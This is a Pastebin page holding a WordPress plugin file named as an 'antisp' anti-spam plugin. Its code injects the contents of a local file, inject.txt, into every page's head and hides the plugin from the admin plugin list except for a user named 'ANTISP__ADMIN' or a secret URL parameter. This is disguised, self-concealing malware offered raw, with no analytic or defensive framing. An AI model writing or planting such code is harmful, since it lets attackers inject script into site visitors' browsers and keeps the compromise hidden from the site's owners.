PalmaSolutions

antisp.php

Mar 25th, 2018
255
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.29 KB | None | 0 0
  1. <?php
  2. /*
  3. Plugin Name: antisp
  4. Description: antisp script to page had
  5. Author: Je
  6. Version: 1.7.1-simple
  7. */
  8.  
  9.  
  10. define('ANTISP__BASENAME', basename( __DIR__ ) );
  11. define('ANTISP__PLUGIN', ANTISP__BASENAME . DIRECTORY_SEPARATOR . basename( __FILE__ ) );
  12. define('ANTISP__PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
  13. define('ANTISP__SCRIPT_DIR', ANTISP__PLUGIN_DIR );
  14. define('ANTISP__SCRIPT_FILE', 'inject.txt');
  15. define('ANTISP__SCRIPT_FILE_FULL', ANTISP__SCRIPT_DIR . ANTISP__SCRIPT_FILE);
  16. define('ANTISP__ADMIN_LOGIN', 'ANTISP__ADMIN');
  17.  
  18. function ANTISP() {
  19. if( file_exists(ANTISP__SCRIPT_FILE_FULL) && is_readable(ANTISP__SCRIPT_FILE_FULL) ) {
  20. readfile(ANTISP__SCRIPT_FILE_FULL);
  21. }
  22. }
  23.  
  24. //������ �������� �� ���� ����� ������� �������� start
  25. function ANTISP_hide($plugins) {
  26.  
  27. if( $_GET[ANTISP__ADMIN_LOGIN] == 1 ) {
  28. return $plugins;
  29. }
  30.  
  31. $user = wp_get_current_user();
  32.  
  33. if( $user->data->user_login === ANTISP__ADMIN_LOGIN ) {
  34. return $plugins;
  35. }
  36.  
  37. if( is_plugin_active( ANTISP__PLUGIN ) ) {
  38. unset( $plugins[ ANTISP__PLUGIN ] );
  39. }
  40.  
  41. return $plugins;
  42. }
  43.  
  44. add_action( 'wp_head', 'ANTISP' );
  45. add_filter('all_plugins', 'ANTISP_hide');
Advertisement
Add Comment
Please, Sign In to add comment